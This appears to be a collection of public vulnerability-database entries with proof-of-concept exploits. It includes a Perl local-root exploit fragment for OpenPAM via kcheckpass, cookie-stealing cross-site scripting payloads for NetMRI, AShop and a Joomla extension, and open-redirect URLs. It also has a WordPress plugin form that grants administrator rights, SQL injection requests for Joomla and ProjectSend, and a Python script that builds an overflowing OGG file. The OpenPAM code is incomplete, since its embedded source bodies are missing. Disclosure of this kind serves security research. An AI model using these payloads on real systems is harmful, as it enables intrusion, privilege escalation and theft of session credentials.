Commit 65bae5b

source: http://www.securityfocus.com/bid/50607/info

OpenPAM is prone to a local privilege-escalation vulnerability.

Local attackers may exploit this issue to execute arbitrary code with superuser privileges. Successfully exploiting this issue will result in the complete compromise of affected computers.

my $kcheckpass = "/usr/local/kde4/lib/kde4/libexec/kcheckpass";

open(O,">/tmp/slam.c") or die $!;

print O<<EOC;

close(O);

system("gcc -fPIC -Wall -c /tmp/slam.c -o /tmp/slam.o;gcc -shared -o /tmp/slam.so /tmp/slam.o");

open(O,">/tmp/pamslam") or die $!;

print O<<EOP;

close(O);

print "We need more Elchsalami! Happy birthday dude!\n";

exec("$kcheckpass -c ../../../tmp/pamslam -m classic");

source: http://www.securityfocus.com/bid/50646/info

Infoblox NetMRI is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Infoblox NetMRI versions 6.2.1, 6.1.2, and 6.0.2.42 are vulnerable; other versions may also be affected.

POST /netmri/config/userAdmin/login.tdf HTTP/1.1

Content-Length: 691

Cookie: XXXX

Host: netmrihost:443

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)

formStack=netmri/config/userAdmin/login&eulaAccepted=<script>alert(document.cookie)</script>&mode=<script>alert(document.cookie)</script>&skipjackPassword=ForegroundSecurity&skipjackUsername=ForegroundSecurity&weakPassword=false

source: http://www.securityfocus.com/bid/50616/info

AShop is prone to multiple open-redirection issues and multiple cross-site scripting issues because it fails to sufficiently sanitize user-supplied input.

Attackers can exploit these issues to execute arbitrary script or HTML code, steal cookie-based authentication credentials, and conduct phishing attacks. Other attacks may also be possible.

Versions prior to AShop 5.1.4 are vulnerable.

IE8

http://www.example.com/ashop/?&#039;"<script>alert(document.cookie)</script>

http://www.example.com/ashop/index.php?&#039;"<script>alert(document.cookie)</script>

http://www.example.com/ashop/picture.php?picture=" stYle=x:expre/**/ssion(alert(document.cookie)) ns="

http://www.example.com/ashop/index.php?language=&#039;"<script>alert(document.cookie)</script>

FF 7.1

http://www.example.com/ashop/index.php?searchstring=1&showresult=true&exp=&#039;"</script><script>alert(666);</script>&resultpage=&categories=off&msg=&search=index.php&shop=1

http://www.example.com/ashop/catalogue.php?cat=3&exp=3&shop=3&resultpage=&#039;"</script><script>alert(document.cookie)</script>&msg=

http://www.example.com/ashop/catalogue.php?cat=3&exp=3&shop=3&resultpage=1&msg=&#039;"</script><script>alert(document.cookie)</script>

http://www.example.com/ashop/basket.php?cat=0&sid=&#039;"</script><script>alert(document.cookie)</script>&shop=1&payoption=3

Open Redirection

http://www.example.com/ashop/language.php?language=sv&redirect=http://www.google.com

http://www.example.com/ashop/currency.php?currency=aud&redirect=http://www.google.com

http://www.example.com/ashop/currency.php?redirect=http://www.google.com

source: http://www.securityfocus.com/bid/50637/info

Joomla! 'com_alfcontact' extension is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker could leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Joomla! 'com_alfcontact' extension 1.9.3 is vulnerable; prior versions may also be affected.

&email=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&emailid=5%2c%2cCareers%20at%20Foreground%20Security&emailto_id=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&extravalue=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&message=20&name=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&option=com_alfcontact&recaptcha_challenge_field=&recaptcha_response_field=manual_challenge&subject=%22%20onmouseover%3dprompt%28document.cookie%29%20%22&task=sendemail

# Exploit Title: WordPress Download Manager 2.7.2 Privilege Escalation

# Date: 24-11-2014

# Software Link: https://wordpress.org/plugins/download-manager/

# Exploit Author: Kacper Szurek

# Contact: http://twitter.com/KacperSzurek

# Website: http://security.szurek.pl/

# Category: webapps

# CVE: CVE-2014-9260

1. Description

Every registered user can update every WordPress options using basic_settings() function.

function basic_settings()

{

if (isset($_POST['task']) && $_POST['task'] == 'wdm_save_settings') {

foreach ($_POST as $optn => $optv) {

update_option($optn, $optv);

}

if (!isset($_POST['__wpdm_login_form'])) delete_option('__wpdm_login_form');

die('Settings Saved Successfully');

}

include('settings/basic.php');

}

http://security.szurek.pl/wordpress-download-manager-272-privilege-escalation.html

2. Proof of Concept

Login as standard user (created using wp-login.php?action=register) then:

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wdm_settings">

<input type="hidden" name="task" value="wdm_save_settings">

<input type="hidden" name="section" value="basic">

<input type="hidden" name="default_role" value="administrator">

<input type="submit" value="Hack!">

</form>

After that create new user using wp-login.php?action=register. Newly created user will have admin privileges.

3. Solution:

Update to version 2.7.3

source: http://www.securityfocus.com/bid/50656/info

Content component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/joomla/index.php?option=com_content&view=archive&year=1 [BSQLI]

#Vulnerability title: ProjectSend r561 - SQL injection vulnerability

#Product: ProjectSend r561

#Vendor: http://www.projectsend.org/

#Affected version: ProjectSend r561

#Download link: http://www.projectsend.org/download/67/

#Fixed version: N/A

#Author: Le Ngoc Phi (phi.n.le@itas.vn) & ITAS Team (www.itas.vn)

::PROOF OF CONCEPT::

+ REQUEST:

GET /projectsend/users-edit.php?id=<SQL INJECTION HERE> HTTP/1.1

Host: target.org

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101

Firefox/35.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: 54f8105d859e0_SESSION=q6tjpjjbt53nk1o5tnbv2123456;

PHPSESSID=jec50hu4plibu5p2p6hnvpcut6

Connection: keep-alive

- Vulnerable file: client-edit.php

- Vulnerable parameter: id

- Vulnerable code:

if (isset($_GET['id'])) {

$client_id = mysql_real_escape_string($_GET['id']);

/**

* Check if the id corresponds to a real client.

* Return 1 if true, 2 if false.

**/

$page_status = (client_exists_id($client_id)) ? 1 : 2;

}

else {

/**

* Return 0 if the id is not set.

*/

$page_status = 0;

}

/**

* Get the clients information from the database to use on the form.

*/

if ($page_status === 1) {

$editing = $database->query("SELECT * FROM tbl_users WHERE

id=$client_id");

while($data = mysql_fetch_array($editing)) {

$add_client_data_name = $data['name'];

$add_client_data_user = $data['user'];

$add_client_data_email = $data['email'];

$add_client_data_addr = $data['address'];

$add_client_data_phone = $data['phone'];

$add_client_data_intcont = $data['contact'];

if ($data['notify'] == 1) { $add_client_data_notity = 1; }

else { $add_client_data_notity = 0; }

if ($data['active'] == 1) { $add_client_data_active = 1; }

else { $add_client_data_active = 0; }

}

}

::DISCLOSURE::

+ 01/06/2015: Detect vulnerability

+ 01/07/2015: Contact to vendor

+ 01/08/2015: Send the detail vulnerability to vendor - vendor did not reply

+ 03/05/2015: Public information

::REFERENCE::

-

http://www.itas.vn/news/itas-team-found-out-a-SQL-Injection-vulnerability-in

-projectsend-r561-76.html

::DISCLAIMER::

THE INFORMATION PRESENTED HEREIN ARE PROVIDED ?AS IS? WITHOUT WARRANTY OF

ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO, ANY

IMPLIED WARRANTIES AND MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE

OR WARRANTIES OF QUALITY OR COMPLETENESS. THE INFORMATION PRESENTED HERE IS

A SERVICE TO THE SECURITY COMMUNITY AND THE PRODUCT VENDORS. ANY APPLICATION

OR DISTRIBUTION OF THIS INFORMATION CONSTITUTES ACCEPTANCE ACCEPTANCE AS IS,

AND AT THE USER'S OWN RISK.

Best Regards,

---------------------------------------------------------------------

ITAS Team (www.itas.vn)

source: http://www.securityfocus.com/bid/50651/info

Kool Media Converter is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

Kool Media Converter 2.6.0 is vulnerable; other versions may also be affected.

ogg = b'\x4F\x67\x67\x53' # Capture Pattern OggS in ascii

ogg += b'\x00' # Version currently 0

ogg += b'\x02' # Header Type of page that follows

ogg += b'\x00' * 8 # Granule Position

ogg += b'\xCE\xc6\x41\x49' # Bitstream Serial Number

ogg += b'\x00' * 4 # Page Sequence Number

ogg += b'\x70\x79\xf3\x3d' # Checksum

ogg += b'\x01' # Page Segment max 255

ogg += b'\x1e\x01\x76\x6f' # Segment Table

ogg += b'\x41' * 1000

try:

f = open('koolPoC.ogg','wb')

f.write(ogg)

f.close()

except:

print('\nError while creating ogg file\n')